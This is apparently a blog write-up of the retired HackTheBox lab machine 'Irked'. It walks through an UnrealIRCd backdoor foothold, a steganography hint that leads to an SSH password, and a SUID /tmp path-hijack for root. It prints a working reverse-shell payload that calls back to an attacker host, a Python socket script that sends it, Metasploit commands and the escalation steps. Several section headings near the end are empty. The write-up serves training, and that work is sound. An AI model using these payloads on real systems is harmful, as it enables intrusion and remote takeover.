~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / irked.md

irked

Linux · Easy · released 2018-11-17 · retired 2019-04-06

Summary

Irked is a three-step Linux Easy with an unusual middle layer — steganography — sitting between a well-known supply-chain backdoor and a custom SUID binary. The chain is: UnrealIRCd 3.2.8.1 backdoor (CVE-2010-2075) for the foothold, steghide extraction from the homepage image for the lateral move to djmardov, and a world-writable /tmp/listusers call from a SUID root binary (viewuser) for root.

The teaching beats: (1) supply-chain backdoors in open-source software are rare but catastrophic — the UnrealIRCd 3.2.8.1 tarball was silently replaced with a trojanised version and remained in distribution for seven months; (2) hidden dot-files in home directories (~/.backup) are a recurring HTB clue-placement pattern — always ls -la; (3) ltrace on an unknown SUID binary immediately shows system calls, making it the fastest analysis tool for simple custom binaries.

Recon

nmap -p- --min-rate=5000 -oN nmap/allports.txt <TARGET>
nmap -sC -sV -p 22,80,111,6697,8067,65534 -oN nmap/scripts.txt <TARGET>
22/tcp    open  ssh      OpenSSH 6.7p1 Debian 5+deb8u4
80/tcp    open  http     Apache httpd 2.4.10 (Debian)
111/tcp   open  rpcbind  2-4 (RPC #100000)
6697/tcp  open  irc      UnrealIRCd
8067/tcp  open  irc      UnrealIRCd
65534/tcp open  irc      UnrealIRCd

Three IRC ports is immediately unusual. The server banner identifies UnrealIRCd; searching the version confirms 3.2.8.1 is the backdoored release. The web server at port 80 serves only a single page with the irked.jpg image — an emoji face. No directories of interest exist on the web layer.

Foothold — CVE-2010-2075 (UnrealIRCd 3.2.8.1 backdoor)

The UnrealIRCd 3.2.8.1 source tarball was replaced on the project’s distribution server in November 2009 with a version containing a backdoor in include/s_bsd.h. The backdoor checks each received line: if it begins with the two-character sequence AB, the remainder of the line (after the separator) is passed to system(). This was discovered and disclosed in June 2010 — nearly seven months after the trojanised tarball went live.

The trigger works on any of the three IRC listening ports. No IRC authentication is required; any TCP connection suffices.

Manual exploitation:

# set up listener
nc -lvnp 4444

# send the backdoor trigger
nc <TARGET> 6697
AB; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER> 4444 > /tmp/f

Type the AB; payload and press Enter. The IRC daemon executes the remainder as a shell command under the ircd user account.

UnrealIRCd anti-flood (“Reconnecting too fast”) trap: the box maintains a per-IP reconnect throttle. Every probe (port-scan, nmap-banner-grab, failed nc, msfconsole’s exploit re-runs) bumps the counter, and the IRC daemon then refuses connections from the attacker for an extended period — ERROR :Closing Link: ... (Throttled: Reconnecting too fast). While throttled, every attempt fails the same way (banner: connection accepted but no IRCd response, then silent close), which masquerades as “the backdoor is patched.”

If the chain has stalled and you see throttle errors, reset the machine rather than waiting it out. After reset the IRC service takes ~30s to come back; poll port 6697 for the :irked.htb NOTICE AUTH :*** Looking up your hostname... banner and fire once, no retry. From a fresh non-throttled attacker IP (post-reset on the lab side, since the target is what’s bookkeeping the throttle state, not us) the backdoor fires on the first attempt.

Use python3 -c '...socket...' over nc for the trigger — Python gives you read-the-banner-then-send sequencing without nc’s buffering quirks, and lets you sleep before close so the system() call has time to fork the shell:

import socket, time
s = socket.create_connection((target, 6697), timeout=15)
time.sleep(1)
s.recv(2048)  # consume banner
s.sendall(b"AB; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER> 4444 > /tmp/f\n")
time.sleep(8)
s.close()

Metasploit path:

use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS <TARGET>
set RPORT 6697
set LHOST <ATTACKER>
run

Either method delivers a shell as ircd.

Lateral move — steghide extraction from irked.jpg

As ircd, enumerate accessible home directories:

ls -la /home/djmardov/Documents/

A hidden file is present:

-rw-r--r-- 1 djmardov djmardov 52 Nov  3  2018 .backup
cat /home/djmardov/Documents/.backup
Super elite steg backup pw
<redacted-konami-passphrase>

The file is a hint: a steganography passphrase hidden inside the web server’s irked.jpg. Download the image and extract:

wget http://<TARGET>/irked.jpg
steghide extract -sf irked.jpg -p <redacted-konami-passphrase>

steghide extracts pass.txt, which contains djmardov’s SSH password.

ssh djmardov@<TARGET>

user.txt is at /home/djmardov/user.txt.

Privilege escalation — SUID viewuser calls /tmp/listusers

SUID binary sweep:

find / -perm -4000 -type f 2>/dev/null

The non-standard binary /usr/bin/viewuser appears alongside the expected system SUID set. Analyse it with ltrace to observe system calls without needing a decompiler:

ltrace viewuser
...
system("who")                          → lists logged-in users
setuid(0)                              → 0 (escalates to root)
system("/tmp/listusers")               → sh: 1: /tmp/listusers: not found
...

The binary calls system("/tmp/listusers") after setuid(0) — but /tmp/listusers does not exist. Any user can create it. Because the setuid(0) call has already set effective UID to 0 before the system() call, the shell spawned by the script inherits root context.

echo sh > /tmp/listusers
chmod +x /tmp/listusers
viewuser
root@irked:/home/djmardov# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗